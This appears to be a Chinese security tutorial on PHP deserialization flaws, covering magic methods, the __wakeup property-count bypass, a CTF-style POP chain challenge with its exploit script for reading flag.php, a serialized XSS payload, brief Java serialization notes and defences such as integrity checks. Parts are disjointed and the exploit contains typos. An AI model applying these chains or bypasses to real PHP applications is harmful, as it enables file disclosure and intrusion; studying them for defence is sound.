概念:这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦 序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.。
序列化:函数 : serialize() 把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
反序列化: 函数: unserialize() 恢复原先被序列化的变量
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
1.序列化
class people{
public $name = 'sam';
private $sex = 'man';
protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
123456789101112131415
定义一个people类,含有公共属性name,私有属性sex,保护属性age。随后实例化一个people1,并对其进行序列化,最后输出结果为:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
2.反序列化
<?php
class people{
public $name = 'sam';
private $sex = 'man';
protected $age = '20';
}
$people1 = new people();
$object = serialize($people1);
$a=unserialize($object);
#print_r($object);
var_dump($a);
1234567891011121314151617
输出为:
object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
这里需要说明一下,对于public的属性无需其他特殊操作,但是对于private属性,描述的时候需要在前后添加空格,或者带上其所在的类名,对于protected属性需要加" * "。
1. __wakeup() 当unserialize()函数反序列化时,在数据流还未被反序列化未对象之前会调用该函数进行初始化.
2. __destruct() 当对象销毁时触发,也就是说只要你反序列化或者实例化一个对象,当你调用结束后都会触发该函数。
<?php
class star{
public $a;
function __wakeup(){
echo "hi";
}
function __destruct(){
echo "结束了";
}
}
$s='O:4:"star":1:{s:1:"a";N;}';
unserialize($s);
123456789101112
结果:hi结束了
可以看到,先输出了hi,说明wakeup()函数先被调用,随后整个反序列化结束,对象被销毁,触发destruct()函数,输出结束了。
3. __toString() 当一个对象被当作字符串使用时触发。
<?php
class star{
public $a;
function __wakeup(){
echo $this->a;
}
}
class next{
function __toString(){
echo "我在这";
}
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
1234567891011121314
结果:我在这
Catchable fatal error: Method next::__toString() must return a string value in
/tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5
这里没有retrun,也没有忽略报错,所有有一条报错信息,无关紧要,但是要说的是,__toString()是要又return的,不然会报错。结果显示当类star中的
echo $this->a;
1
执行时,a被当作一个字符串,此时我将a设置为类next,此时类next作为字符串被调用,所以触发类next中的toString()函数,输出“我在这”。4. invoke() 当类被当作函数调用时触发,看实例。
<?php
class star{
public $a;
function __wakeup(){
$function=$this->a;
return $function();
}
}
class next{
function __invoke(){
echo "我在这";
}
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
123456789101112131415
结果:我在这
分析过程和上面那个函数一样,也是通过反序列化给a赋值,只是赋的不是字符串而是其他类,然后
return $function();
1
私有属性或者保护属性,这种访问受限的属性的时候会触发__get()
属性不存在的时候,也会触发__get()
<?php
class star{
public $a;
function __wakeup(){
return $this->str['str']->source;
}
}
class next{
function __get($name){
echo "我在这";
return;
}
}
$t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}';
unserialize($t);
123456789101112131415
结果:我在这
通过str[‘str’]赋值为类next,访问next的source,但是类next中不存在属性source所以触发__get()函数,访问保护属性等同理。
小结:反序列化的过程通过这些魔法函数可以达到我们想到要的操作,尤其是后面3个函数,大家会发现,这三个函数可以达到多个类的连续使用,从而达到链的效果,这也就是反序列化中的pop链的编写,接下来我们讲一下反序列化的漏洞
影响版本:
PHP before 5.6.25
7.x before 7.0.10
<?php
class star{
public $a;
function __wakeup(){
echo $this->a;
}
}
$t='O:4:"star":1:{s:1:"a";s:9:"我在这";}';
unserialize($t);
123456789
结果:我在这
O:4:"star":2:{s:1:"a";s:9:"我在这";}
1
结果:无输出
结果显示,当表示属性个数大于真实个数时,wakeup()函数不执行,被绕过了,通常题目中,wake()中含有很多限制,通过这个漏洞绕过__wake()可以达到绕过限制的目的。
2.POP链构造
POP链的构造
首先认识一下什么是POP?POP面向属性编程。指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。其实就是构造一条和原代码需求一样的链条,去找到被控制的属性或方法,从而构造POP链达到攻击的目的。
直接上题方便理解
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
1.首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。
2.因为 this->source = “index.php” source被当做字符串所以调用Show类中的__to string.
3. ** return $this->str[‘str’]->source ** source属性不存在所以调用Test类中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出来的p当做还是调用因此又会引起调用了 Read类中的__invoke方法,其中就可以把文件读取出来了。
exp
<?php
class Show{
public $source;
public $str;
}
class Test {
public $p;
}
class Read{
publc $var = "flag.php"
}
$s = new Show();
$t = new Test();
$r = new Read();
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
var_dump(serialize($s));
1.简介
序列化就是将数据转化成一种可逆的字符串,字符串还原原来结构的过程叫做反序列化
序列化后,方便保存和传输(保留成员变量,不保留函数方法)
数据(对象)--------序列化---------->字符串-----------反序列化-------->数据(对象)
2.原理
函数:
serialize()序列化
将一个对象转换成可以传输的一个字符串
序列化对象后,可以方便的将它传递到其他需要它的地方,且其类型和结构不会改变
eg:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
unserialize()反序列化
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
O:1:"S":1:{s:4:"test";s:7:"pikachu";} //这是序列化结果
常见的序列化格式:
二进制格式
字节数组
json字符串
xml字符串
……
布尔型(bool):b
整数型(int):i
字符串型(str):s
数组型(array):a
对象型(object):O
NULL型:N
产生的原因:
对用户的输入检测不严
魔术方法(触发):
(前提:有可利用的类)
__construct() //创建对象时触发
__destruct() //对象销毁时触发
__call() //在对象中调用不可访问的方法时触发
__callStatic() //在静态中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
利用:
分析
<?php
class S{
var $test = "<script>alert('xss')</script>";
}
$a = new S();
echo serialize($a);
?>
O:1:"S":1:{s:4:"test";s:29:"";}
会产生弹窗
传输网络对象
保存Session
ObjectOutputStream out = new ObjectOutputStream(new fileOutputStream(“C:\\java_JDK\\objectfile.obj”));
步骤二:通过对象输出流的writeObject()方法写对象:
String obj1 = (String)in.readObject();
Date obj2 = (Date)in.readObject();
private transient char sex; //被transient关键字修饰,不参与序列化
运行结果:
文件存在
name = Tom
sex =
year = 20
gpa = 3.6
此时可以看见,被transient关键字修饰的变量sex并没有被序列化,返回了空值。
治病需要除根,能从根本上阻止反序列化安全问题的防御方案就是完整性校验,而最常见的例子之一就是JWT。
我们知道JWT由3部分组成:Header,Payload,Verify Signature。最后的签名部分其实就是对数据进行完整性校验的关键部分。
图:JWT基本结构
服务器端在接受到JWT之后,首先用secret对数据部分进行哈希计算,随后检查计算出来的哈希值是否和请求中的JWT签名部分的哈希值相同。若两者一致则认为数据完整性没有被破坏,若两者有差异则说明数据被修改过。
如果攻击者想要凭空伪造一个JWT,或者想修改JWT中的数据,但由于计算哈希值的secret只有服务器端才知道,因此攻击者无法伪造出合法的签名字段,进而这样有问题的JTW很容易就能被服务器端识别出来。
值得注意的是,完整性校验还需要把数据结构也包含进来,这是因为攻击者可能会修改序列化后的数据的结构,而不仅仅只是数据。
除此之外其他有助于防御反序列化安全问题的措施,但并不能完美的做到事前预防,例如:
反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。
对反序列化过程进行详尽的日志记录,用以安全审计或调查。
监控反序列化过程,在发现疑似反序列化攻击时进行警报。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读